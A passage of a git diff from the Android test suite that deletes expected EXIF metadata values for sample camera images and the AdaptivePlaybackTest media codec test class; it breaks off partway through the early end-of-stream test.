-        <item>2015:01:15 16:53:05</item>
-        <item>0.0005</item>
-        <item>16.0</item>
-        <item>8800/1000</item>
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item>3648</item>
-        <item>5472</item>
-        <item>12800</item>
-        <item>8</item>
-        <item>1</item>
-        <item>true</item>
-        <item>14336</item>
-        <item>8192</item>
-    </array>
-    <array name="fuji_x20_raf">
-        <!--Whether thumbnail exists-->
-        <item>true</item>
-        <item>2080</item>
-        <item>9352</item>
-        <item>160</item>
-        <item>120</item>
-        <item>true</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>false</item>
-        <item />
-        <item />
-        <item>0.0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>318</item>
-        <item>9</item>
-        <item>FUJIFILM</item>
-        <item>X20</item>
-        <item>3.6000</item>
-        <item>2015:01:15 18:20:53</item>
-        <item>0.0130</item>
-        <item>16.0</item>
-        <item>1040/100</item>
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item>3000</item>
-        <item>4000</item>
-        <item>100</item>
-        <item>1</item>
-        <item>0</item>
-        <item>false</item>
-        <item />
-        <item />
-    </array>
-    <array name="nikon_1aw1_nef">
-        <!--Whether thumbnail exists-->
-        <item>true</item>
-        <item>963072</item>
-        <item>57600</item>
-        <item>160</item>
-        <item>120</item>
-        <item>false</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>true</item>
-        <item>962700</item>
-        <item>24</item>
-        <item>53.83652</item>
-        <item>10.69828</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>336</item>
-        <item>18</item>
-        <item>NIKON CORPORATION</item>
-        <item>NIKON 1 AW1</item>
-        <item>5.6000</item>
-        <item>2015:10:27 14:10:12</item>
-        <item>0.0080</item>
-        <item>0</item>
-        <item>275/10</item>
-        <item />
-        <item />
-        <item>2015:10:27</item>
-        <item>53/1,501915/10000,0/1</item>
-        <item>N</item>
-        <item>10/1,418974/10000,0/1</item>
-        <item>E</item>
-        <item />
-        <item>13:10:12</item>
-        <item>3072</item>
-        <item>4608</item>
-        <item>200</item>
-        <item>8</item>
-        <item>0</item>
-        <item>true</item>
-        <item>472</item>
-        <item>2048</item>
-    </array>
-    <array name="nikon_p330_nrw">
-        <!--Whether thumbnail exists-->
-        <item>true</item>
-        <item>32791</item>
-        <item>4875</item>
-        <item>160</item>
-        <item>120</item>
-        <item>true</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>true</item>
-        <item>1620</item>
-        <item>24</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>298</item>
-        <item>6</item>
-        <item>NIKON</item>
-        <item>COOLPIX P7800</item>
-        <item>2.0000</item>
-        <item>2015:02:17 14:24:21</item>
-        <item>0.0005</item>
-        <item>16.0</item>
-        <item>60/10</item>
-        <item>0/1</item>
-        <item>0</item>
-        <item>0000:00:00</item>
-        <item>0/1,0/1,0/1</item>
-        <item />
-        <item>0/1,0/1,0/1</item>
-        <item />
-        <item />
-        <item>00:00:00</item>
-        <item>3000</item>
-        <item>4000</item>
-        <item>3200</item>
-        <item>8</item>
-        <item>0</item>
-        <item>false</item>
-        <item />
-        <item />
-    </array>
-    <array name="pentax_k5_pef">
-        <!--Whether thumbnail exists-->
-        <item>true</item>
-        <item>103520</item>
-        <item>6532</item>
-        <item>160</item>
-        <item>120</item>
-        <item>true</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>false</item>
-        <item />
-        <item />
-        <item>0.0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>266</item>
-        <item>20</item>
-        <item>PENTAX</item>
-        <item>PENTAX K-5</item>
-        <item>8.0000</item>
-        <item>2013:11:05 23:07:10</item>
-        <item>0.1250</item>
-        <item>16.0</item>
-        <item>2625/100</item>
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item>3284</item>
-        <item>4992</item>
-        <item>100</item>
-        <item>1</item>
-        <item>0</item>
-        <item>false</item>
-        <item />
-        <item />
-    </array>
-    <array name="olympus_e_pl3_orf">
-        <!--Whether thumbnail exists-->
-        <item>true</item>
-        <item>19264</item>
-        <item>3698</item>
-        <item>160</item>
-        <item>120</item>
-        <item>true</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>false</item>
-        <item />
-        <item />
-        <item>0.0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>2148</item>
-        <item>24</item>
-        <item>OLYMPUS IMAGING CORP.</item>
-        <item>E-PL3</item>
-        <item>8.0000</item>
-        <item>2013:05:15 11:04:46</item>
-        <item>0.0400</item>
-        <item>24.0</item>
-        <item>45/1</item>
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item>2272</item>
-        <item>3024</item>
-        <item>200</item>
-        <item>1</item>
-        <item>0</item>
-        <item>false</item>
-        <item />
-        <item />
-    </array>
-    <array name="panasonic_gm5_rw2">
-        <!--Whether thumbnail exists-->
-        <item>true</item>
-        <item>18944</item>
-        <item>6435</item>
-        <item>160</item>
-        <item>120</item>
-        <item>true</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>false</item>
-        <item />
-        <item />
-        <item>0.0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>874</item>
-        <item>10</item>
-        <item>Panasonic</item>
-        <item>DMC-GM5</item>
-        <item>8.0000</item>
-        <item>2015:01:14 17:06:04</item>
-        <item>0.0500</item>
-        <item>16.0</item>
-        <item>160/10</item>
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item>3448</item>
-        <item>4592</item>
-        <item>200</item>
-        <item>8</item>
-        <item>1</item>
-        <item>false</item>
-        <item />
-        <item />
-    </array>
-    <array name="samsung_nx3000_srw">
-        <!--Whether thumbnail exists-->
-        <item>true</item>
-        <item>317560</item>
-        <item>3059</item>
-        <item>160</item>
-        <item>120</item>
-        <item>true</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>false</item>
-        <item />
-        <item />
-        <item>0.0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>98</item>
-        <item>8</item>
-        <item>SAMSUNG</item>
-        <item>NX3000</item>
-        <item>5.6000</item>
-        <item>2016:01:14 12:45:32</item>
-        <item>0.1670</item>
-        <item>0</item>
-        <item>50/1</item>
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item>3648</item>
-        <item>5472</item>
-        <item>100</item>
-        <item>8</item>
-        <item>0</item>
-        <item>false</item>
-        <item />
-        <item />
-    </array>
-    <array name="png_with_exif_byte_order_ii">
-        <!--Whether thumbnail exists-->
-        <item>true</item>
-        <item>212271</item>
-        <item>6265</item>
-        <item>512</item>
-        <item>288</item>
-        <item>true</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>false</item>
-        <item>0</item>
-        <item>0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>211525</item>
-        <item>8</item>
-        <item>SAMSUNG</item>
-        <item>SM-N900S</item>
-        <item>2.200</item>
-        <item>2016:01:29 18:32:27</item>
-        <item>0.033</item>
-        <item>0</item>
-        <item>41/10</item>
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item>480</item>
-        <item>640</item>
-        <item>50</item>
-        <item>6</item>
-        <item>0</item>
-        <item>false</item>
-        <item>0</item>
-        <item>0</item>
-    </array>
-    <array name="webp_with_exif">
-        <!--Whether thumbnail exists-->
-        <item>true</item>
-        <item>9646</item>
-        <item>6265</item>
-        <item>512</item>
-        <item>288</item>
-        <item>true</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>false</item>
-        <item>0</item>
-        <item>0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>6306</item>
-        <item>8</item>
-        <item>SAMSUNG</item>
-        <item>SM-N900S</item>
-        <item>2.200</item>
-        <item>2016:01:29 18:32:27</item>
-        <item>0.033</item>
-        <item>0</item>
-        <item>413/100</item>
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item>480</item>
-        <item>640</item>
-        <item>50</item>
-        <item>6</item>
-        <item>0</item>
-        <item>false</item>
-        <item>0</item>
-        <item>0</item>
-    </array>
-</resources>
diff --git a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
deleted file mode 100644
index 09076ac..0000000
--- a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
+++ /dev/null
@@ -1,1868 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.pm.PackageManager;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.CodecProfileLevel;
-import android.media.MediaCodecList;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.os.Build;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.view.Surface;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-
-import android.opengl.GLES20;
-import javax.microedition.khronos.opengles.GL10;
-
-import java.io.IOException;
-import java.lang.System;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Locale;
-import java.util.Vector;
-import java.util.concurrent.CopyOnWriteArrayList;
-import java.util.zip.CRC32;
-
-@MediaHeavyPresubmitTest
-@AppModeFull
-public class AdaptivePlaybackTest extends MediaPlayerTestBase {
-    private static final String TAG = "AdaptivePlaybackTest";
-    private boolean verify = false;
-    private static final int MIN_FRAMES_BEFORE_DRC = 2;
-
-    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    public Iterable<Codec> H264(CodecFactory factory) {
-        return factory.createCodecList(
-                MediaFormat.MIMETYPE_VIDEO_AVC,
-                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                "video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                "bbb_s1_720x480_mp4_h264_mp3_2mbps_30fps_aac_lc_5ch_320kbps_48000hz.mp4");
-    }
-
-    public Iterable<Codec> HEVC(CodecFactory factory) {
-        return factory.createCodecList(
-                MediaFormat.MIMETYPE_VIDEO_HEVC,
-                "bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4",
-                "bbb_s4_1280x720_mp4_hevc_mp31_4mbps_30fps_aac_he_stereo_80kbps_32000hz.mp4",
-                "bbb_s1_352x288_mp4_hevc_mp2_600kbps_30fps_aac_he_stereo_96kbps_48000hz.mp4");
-    }
-
-    public Iterable<Codec> Mpeg2(CodecFactory factory) {
-        return factory.createCodecList(
-                MediaFormat.MIMETYPE_VIDEO_MPEG2,
-                "video_640x360_mp4_mpeg2_2000kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
-                "video_1280x720_mp4_mpeg2_3000kbps_30fps_aac_stereo_128kbps_48000hz.mp4");
-    }
-
-    public Iterable<Codec> H263(CodecFactory factory) {
-        return factory.createCodecList(
-                MediaFormat.MIMETYPE_VIDEO_H263,
-                "video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp",
-                "video_352x288_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp");
-    }
-
-    public Iterable<Codec> Mpeg4(CodecFactory factory) {
-        return factory.createCodecList(
-                MediaFormat.MIMETYPE_VIDEO_MPEG4,
-                "video_1280x720_mp4_mpeg4_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                "video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                "video_176x144_mp4_mpeg4_300kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-
-    public Iterable<Codec> VP8(CodecFactory factory) {
-        return factory.createCodecList(
-                MediaFormat.MIMETYPE_VIDEO_VP8,
-                "video_480x360_webm_vp8_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
-                "bbb_s3_1280x720_webm_vp8_8mbps_60fps_opus_6ch_384kbps_48000hz.webm",
-                "bbb_s1_320x180_webm_vp8_800kbps_30fps_opus_5ch_320kbps_48000hz.webm");
-    }
-
-    public Iterable<Codec> VP9(CodecFactory factory) {
-        return factory.createCodecList(
-                MediaFormat.MIMETYPE_VIDEO_VP9,
-                "video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
-                "bbb_s4_1280x720_webm_vp9_0p31_4mbps_30fps_opus_stereo_128kbps_48000hz.webm",
-                "bbb_s1_320x180_webm_vp9_0p11_600kbps_30fps_vorbis_mono_64kbps_48000hz.webm");
-    }
-
-    public Iterable<Codec> AV1(CodecFactory factory) {
-        return factory.createCodecList(
-                MediaFormat.MIMETYPE_VIDEO_AV1,
-                "video_480x360_webm_av1_400kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
-                "video_1280x720_webm_av1_2000kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
-                "video_320x180_webm_av1_200kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-    }
-
-    CodecFactory ALL = new CodecFactory();
-    CodecFactory SW  = new SWCodecFactory();
-    CodecFactory HW  = new HWCodecFactory();
-
-    public Iterable<Codec> H264()  { return H264(ALL);  }
-    public Iterable<Codec> HEVC()  { return HEVC(ALL);  }
-    public Iterable<Codec> VP8()   { return VP8(ALL);   }
-    public Iterable<Codec> VP9()   { return VP9(ALL);   }
-    public Iterable<Codec> AV1()   { return AV1(ALL);   }
-    public Iterable<Codec> Mpeg2() { return Mpeg2(ALL); }
-    public Iterable<Codec> Mpeg4() { return Mpeg4(ALL); }
-    public Iterable<Codec> H263()  { return H263(ALL);  }
-
-    public Iterable<Codec> AllCodecs() {
-        return chain(H264(ALL), HEVC(ALL), VP8(ALL), VP9(ALL), AV1(ALL), Mpeg2(ALL), Mpeg4(ALL), H263(ALL));
-    }
-
-    public Iterable<Codec> SWCodecs() {
-        return chain(H264(SW), HEVC(SW), VP8(SW), VP9(SW), AV1(SW), Mpeg2(SW), Mpeg4(SW), H263(SW));
-    }
-
-    public Iterable<Codec> HWCodecs() {
-        return chain(H264(HW), HEVC(HW), VP8(HW), VP9(HW), AV1(HW), Mpeg2(HW), Mpeg4(HW), H263(HW));
-    }
-
-    /* tests for adaptive codecs */
-    Test adaptiveEarlyEos     = new EarlyEosTest().adaptive();
-    Test adaptiveEosFlushSeek = new EosFlushSeekTest().adaptive();
-    Test adaptiveSkipAhead    = new AdaptiveSkipTest(true /* forward */);
-    Test adaptiveSkipBack     = new AdaptiveSkipTest(false /* forward */);
-
-    /* DRC tests for adaptive codecs */
-    Test adaptiveReconfigDrc      = new ReconfigDrcTest().adaptive();
-    Test adaptiveSmallReconfigDrc = new ReconfigDrcTest().adaptiveSmall();
-    Test adaptiveDrc      = new AdaptiveDrcTest(); /* adaptive */
-    Test adaptiveSmallDrc = new AdaptiveDrcTest().adaptiveSmall();
-
-    /* tests for regular codecs */
-    Test earlyEos          = new EarlyEosTest();
-    Test eosFlushSeek      = new EosFlushSeekTest();
-    Test flushConfigureDrc = new ReconfigDrcTest();
-
-    Test[] allTests = {
-        adaptiveEarlyEos,
-        adaptiveEosFlushSeek,
-        adaptiveSkipAhead,
-        adaptiveSkipBack,
-        adaptiveReconfigDrc,
-        adaptiveSmallReconfigDrc,
-        adaptiveDrc,
-        adaptiveSmallDrc,
-        earlyEos,
-        eosFlushSeek,
-        flushConfigureDrc,
-    };
-
-    /* helpers to run sets of tests */
-    public void runEOS() { ex(AllCodecs(), new Test[] {
-        adaptiveEarlyEos,
-        adaptiveEosFlushSeek,
-        adaptiveReconfigDrc,
-        adaptiveSmallReconfigDrc,
-        earlyEos,
-        eosFlushSeek,
-        flushConfigureDrc,
-    }); }
-
-    public void runAll() { ex(AllCodecs(), allTests); }
-    public void runSW()  { ex(SWCodecs(),  allTests); }
-    public void runHW()  { ex(HWCodecs(),  allTests); }
-
-    public void verifyAll() { verify = true; try { runAll(); } finally { verify = false; } }
-    public void verifySW()  { verify = true; try { runSW();  } finally { verify = false; } }
-    public void verifyHW()  { verify = true; try { runHW();  } finally { verify = false; } }
-
-    public void runH264()  { ex(H264(),  allTests); }
-    public void runHEVC()  { ex(HEVC(),  allTests); }
-    public void runVP8()   { ex(VP8(),   allTests); }
-    public void runVP9()   { ex(VP9(),   allTests); }
-    public void runAV1()   { ex(AV1(),   allTests); }
-    public void runMpeg2() { ex(Mpeg2(), allTests); }
-    public void runMpeg4() { ex(Mpeg4(), allTests); }
-    public void runH263()  { ex(H263(),  allTests); }
-
-    public void onlyH264HW()  { ex(H264(HW),  allTests); }
-    public void onlyHEVCHW()  { ex(HEVC(HW),  allTests); }
-    public void onlyVP8HW()   { ex(VP8(HW),   allTests); }
-    public void onlyVP9HW()   { ex(VP9(HW),   allTests); }
-    public void onlyAV1HW()   { ex(AV1(HW),   allTests); }
-    public void onlyMpeg2HW() { ex(Mpeg2(HW), allTests); }
-    public void onlyMpeg4HW() { ex(Mpeg4(HW), allTests); }
-    public void onlyH263HW()  { ex(H263(HW),  allTests); }
-
-    public void onlyH264SW()  { ex(H264(SW),  allTests); }
-    public void onlyHEVCSW()  { ex(HEVC(SW),  allTests); }
-    public void onlyVP8SW()   { ex(VP8(SW),   allTests); }
-    public void onlyVP9SW()   { ex(VP9(SW),   allTests); }
-    public void onlyAV1SW()   { ex(AV1(SW),   allTests); }
-    public void onlyMpeg2SW() { ex(Mpeg2(SW), allTests); }
-    public void onlyMpeg4SW() { ex(Mpeg4(SW), allTests); }
-    public void onlyH263SW()  { ex(H263(SW),  allTests); }
-
-    public void bytebuffer() { ex(H264(SW), new EarlyEosTest().byteBuffer()); }
-    public void onlyTexture() { ex(H264(HW), new EarlyEosTest().texture()); }
-
-    /* inidividual tests */
-    public void testH264_adaptiveEarlyEos()  { ex(H264(),  adaptiveEarlyEos); }
-    public void testHEVC_adaptiveEarlyEos()  { ex(HEVC(),  adaptiveEarlyEos); }
-    public void testVP8_adaptiveEarlyEos()   { ex(VP8(),   adaptiveEarlyEos); }
-    public void testVP9_adaptiveEarlyEos()   { ex(VP9(),   adaptiveEarlyEos); }
-    public void testAV1_adaptiveEarlyEos()   { ex(AV1(),   adaptiveEarlyEos); }
-    public void testMpeg2_adaptiveEarlyEos() { ex(Mpeg2(), adaptiveEarlyEos); }
-    public void testMpeg4_adaptiveEarlyEos() { ex(Mpeg4(), adaptiveEarlyEos); }
-    public void testH263_adaptiveEarlyEos()  { ex(H263(),  adaptiveEarlyEos); }
-
-    public void testH264_adaptiveEosFlushSeek()  { ex(H264(),  adaptiveEosFlushSeek); }
-    public void testHEVC_adaptiveEosFlushSeek()  { ex(HEVC(),  adaptiveEosFlushSeek); }
-    public void testVP8_adaptiveEosFlushSeek()   { ex(VP8(),   adaptiveEosFlushSeek); }
-    public void testVP9_adaptiveEosFlushSeek()   { ex(VP9(),   adaptiveEosFlushSeek); }
-    public void testAV1_adaptiveEosFlushSeek()   { ex(AV1(),   adaptiveEosFlushSeek); }
-    public void testMpeg2_adaptiveEosFlushSeek() { ex(Mpeg2(), adaptiveEosFlushSeek); }
-    public void testMpeg4_adaptiveEosFlushSeek() { ex(Mpeg4(), adaptiveEosFlushSeek); }
-    public void testH263_adaptiveEosFlushSeek()  { ex(H263(),  adaptiveEosFlushSeek); }
-
-    public void testH264_adaptiveSkipAhead()  { ex(H264(),  adaptiveSkipAhead); }
-    public void testHEVC_adaptiveSkipAhead()  { ex(HEVC(),  adaptiveSkipAhead); }
-    public void testVP8_adaptiveSkipAhead()   { ex(VP8(),   adaptiveSkipAhead); }
-    public void testVP9_adaptiveSkipAhead()   { ex(VP9(),   adaptiveSkipAhead); }
-    public void testAV1_adaptiveSkipAhead()   { ex(AV1(),   adaptiveSkipAhead); }
-    public void testMpeg2_adaptiveSkipAhead() { ex(Mpeg2(), adaptiveSkipAhead); }
-    public void testMpeg4_adaptiveSkipAhead() { ex(Mpeg4(), adaptiveSkipAhead); }
-    public void testH263_adaptiveSkipAhead()  { ex(H263(),  adaptiveSkipAhead); }
-
-    public void testH264_adaptiveSkipBack()  { ex(H264(),  adaptiveSkipBack); }
-    public void testHEVC_adaptiveSkipBack()  { ex(HEVC(),  adaptiveSkipBack); }
-    public void testVP8_adaptiveSkipBack()   { ex(VP8(),   adaptiveSkipBack); }
-    public void testVP9_adaptiveSkipBack()   { ex(VP9(),   adaptiveSkipBack); }
-    public void testAV1_adaptiveSkipBack()   { ex(AV1(),   adaptiveSkipBack); }
-    public void testMpeg2_adaptiveSkipBack() { ex(Mpeg2(), adaptiveSkipBack); }
-    public void testMpeg4_adaptiveSkipBack() { ex(Mpeg4(), adaptiveSkipBack); }
-    public void testH263_adaptiveSkipBack()  { ex(H263(),  adaptiveSkipBack); }
-
-    public void testH264_adaptiveReconfigDrc()  { ex(H264(),  adaptiveReconfigDrc); }
-    public void testHEVC_adaptiveReconfigDrc()  { ex(HEVC(),  adaptiveReconfigDrc); }
-    public void testVP8_adaptiveReconfigDrc()   { ex(VP8(),   adaptiveReconfigDrc); }
-    public void testVP9_adaptiveReconfigDrc()   { ex(VP9(),   adaptiveReconfigDrc); }
-    public void testAV1_adaptiveReconfigDrc()   { ex(AV1(),   adaptiveReconfigDrc); }
-    public void testMpeg2_adaptiveReconfigDrc() { ex(Mpeg2(), adaptiveReconfigDrc); }
-    public void testMpeg4_adaptiveReconfigDrc() { ex(Mpeg4(), adaptiveReconfigDrc); }
-    public void testH263_adaptiveReconfigDrc()  { ex(H263(),  adaptiveReconfigDrc); }
-
-    public void testH264_adaptiveSmallReconfigDrc()  { ex(H264(),  adaptiveSmallReconfigDrc); }
-    public void testHEVC_adaptiveSmallReconfigDrc()  { ex(HEVC(),  adaptiveSmallReconfigDrc); }
-    public void testVP8_adaptiveSmallReconfigDrc()   { ex(VP8(),   adaptiveSmallReconfigDrc); }
-    public void testVP9_adaptiveSmallReconfigDrc()   { ex(VP9(),   adaptiveSmallReconfigDrc); }
-    public void testAV1_adaptiveSmallReconfigDrc()   { ex(AV1(),   adaptiveSmallReconfigDrc); }
-    public void testMpeg2_adaptiveSmallReconfigDrc() { ex(Mpeg2(), adaptiveSmallReconfigDrc); }
-    public void testMpeg4_adaptiveSmallReconfigDrc() { ex(Mpeg4(), adaptiveSmallReconfigDrc); }
-    public void testH263_adaptiveSmallReconfigDrc()  { ex(H263(),  adaptiveSmallReconfigDrc); }
-
-    public void testH264_adaptiveDrc() { ex(H264(), adaptiveDrc); }
-    public void testHEVC_adaptiveDrc() { ex(HEVC(), adaptiveDrc); }
-    public void testVP8_adaptiveDrc()  { ex(VP8(),  adaptiveDrc); }
-    public void testVP9_adaptiveDrc()  { ex(VP9(),  adaptiveDrc); }
-    public void testAV1_adaptiveDrc()  { ex(AV1(),  adaptiveDrc); }
-    public void testMpeg2_adaptiveDrc() { ex(Mpeg2(), adaptiveDrc); }
-    public void testMpeg4_adaptiveDrc() { ex(Mpeg4(), adaptiveDrc); }
-    public void testH263_adaptiveDrc() { ex(H263(), adaptiveDrc); }
-
-    public void testH264_adaptiveDrcEarlyEos() { ex(H264(), new AdaptiveDrcEarlyEosTest()); }
-    public void testHEVC_adaptiveDrcEarlyEos() { ex(HEVC(), new AdaptiveDrcEarlyEosTest()); }
-    public void testVP8_adaptiveDrcEarlyEos()  { ex(VP8(),  new AdaptiveDrcEarlyEosTest()); }
-    public void testVP9_adaptiveDrcEarlyEos()  { ex(VP9(),  new AdaptiveDrcEarlyEosTest()); }
-    public void testAV1_adaptiveDrcEarlyEos()  { ex(AV1(),  new AdaptiveDrcEarlyEosTest()); }
-    public void testMpeg2_adaptiveDrcEarlyEos(){ ex(Mpeg2(), new AdaptiveDrcEarlyEosTest()); }
-
-    public void testH264_adaptiveSmallDrc()  { ex(H264(),  adaptiveSmallDrc); }
-    public void testHEVC_adaptiveSmallDrc()  { ex(HEVC(),  adaptiveSmallDrc); }
-    public void testVP8_adaptiveSmallDrc()   { ex(VP8(),   adaptiveSmallDrc); }
-    public void testVP9_adaptiveSmallDrc()   { ex(VP9(),   adaptiveSmallDrc); }
-    public void testAV1_adaptiveSmallDrc()   { ex(AV1(),   adaptiveSmallDrc); }
-    public void testMpeg2_adaptiveSmallDrc() { ex(Mpeg2(), adaptiveSmallDrc); }
-
-    public void testH264_earlyEos()  { ex(H264(),  earlyEos); }
-    public void testHEVC_earlyEos()  { ex(HEVC(),  earlyEos); }
-    public void testVP8_earlyEos()   { ex(VP8(),   earlyEos); }
-    public void testVP9_earlyEos()   { ex(VP9(),   earlyEos); }
-    public void testAV1_earlyEos()   { ex(AV1(),   earlyEos); }
-    public void testMpeg2_earlyEos() { ex(Mpeg2(), earlyEos); }
-    public void testMpeg4_earlyEos() { ex(Mpeg4(), earlyEos); }
-    public void testH263_earlyEos()  { ex(H263(),  earlyEos); }
-
-    public void testH264_eosFlushSeek()  { ex(H264(),  eosFlushSeek); }
-    public void testHEVC_eosFlushSeek()  { ex(HEVC(),  eosFlushSeek); }
-    public void testVP8_eosFlushSeek()   { ex(VP8(),   eosFlushSeek); }
-    public void testVP9_eosFlushSeek()   { ex(VP9(),   eosFlushSeek); }
-    public void testAV1_eosFlushSeek()   { ex(AV1(),   eosFlushSeek); }
-    public void testMpeg2_eosFlushSeek() { ex(Mpeg2(), eosFlushSeek); }
-    public void testMpeg4_eosFlushSeek() { ex(Mpeg4(), eosFlushSeek); }
-    public void testH263_eosFlushSeek()  { ex(H263(),  eosFlushSeek); }
-
-    public void testH264_flushConfigureDrc()  { ex(H264(),  flushConfigureDrc); }
-    public void testHEVC_flushConfigureDrc()  { ex(HEVC(),  flushConfigureDrc); }
-    public void testVP8_flushConfigureDrc()   { ex(VP8(),   flushConfigureDrc); }
-    public void testVP9_flushConfigureDrc()   { ex(VP9(),   flushConfigureDrc); }
-    public void testAV1_flushConfigureDrc()   { ex(AV1(),   flushConfigureDrc); }
-    public void testMpeg2_flushConfigureDrc() { ex(Mpeg2(), flushConfigureDrc); }
-    public void testMpeg4_flushConfigureDrc() { ex(Mpeg4(), flushConfigureDrc); }
-    public void testH263_flushConfigureDrc()  { ex(H263(),  flushConfigureDrc); }
-
-    /* only use unchecked exceptions to allow brief test methods */
-    private void ex(Iterable<Codec> codecList, Test test) {
-        ex(codecList, new Test[] { test } );
-    }
-
-    private void ex(Iterable<Codec> codecList, Test[] testList) {
-        if (codecList == null) {
-            Log.i(TAG, "CodecList was empty. Skipping test.");
-            return;
-        }
-
-        TestList tests = new TestList();
-        for (Codec c : codecList) {
-            for (Test test : testList) {
-                if (test.isValid(c)) {
-                    test.addTests(tests, c);
-                }
-            }
-        }
-        try {
-            tests.run();
-        } catch (Throwable t) {
-            throw new RuntimeException(t);
-        }
-    }
-
-    /* need an inner class to have access to the activity */
-    abstract class ActivityTest extends Test {
-        TestSurface mNullSurface = new ActivitySurface(null);
-        protected TestSurface getSurface() {
-            if (mUseSurface) {
-                return new ActivitySurface(getActivity().getSurfaceHolder().getSurface());
-            } else if (mUseSurfaceTexture) {
-                return new DecoderSurface(1280, 720, mCRC);
-            }
-            return mNullSurface;
-        }
-    }
-
-    static final int NUM_FRAMES = 50;
-
-    /**
-     * Queue some frames with an EOS on the last one.  Test that we have decoded as many
-     * frames as we queued.  This tests the EOS handling of the codec to see if all queued
-     * (and out-of-order) frames are actually decoded and returned.
-     *
-     * Also test flushing prior to sending CSD, and immediately after sending CSD.
-     */
-    class EarlyEosTest extends ActivityTest {
-        // using bitfields to create a directed state graph that terminates at FLUSH_NEVER
-        static final int FLUSH_BEFORE_CSD = (1 << 1);
-        static final int FLUSH_AFTER_CSD = (1 << 0);
-        static final int FLUSH_NEVER = 0;
-
-        public boolean isValid(Codec c) {
-            return getFormat(c) != null;
-        }
-        public void addTests(TestList tests, final Codec c) {
-            int state = FLUSH_BEFORE_CSD;
-            for (int i = NUM_FRAMES / 2; i > 0; --i, state >>= 1) {
-                final int queuedFrames = i;
-                final int earlyFlushMode = state;
-                tests.add(
-                    new Step("testing early EOS at " + queuedFrames, this, c) {
-                        public void run() {
-                            Decoder decoder = new Decoder(c.name);
-                            try {
-                                MediaFormat fmt = stepFormat();
-                                MediaFormat configFmt = fmt;
-                                if (earlyFlushMode == FLUSH_BEFORE_CSD) {
-                                    // flush before CSD requires not submitting CSD with configure
-                                    configFmt = Media.removeCSD(fmt);
-                                }
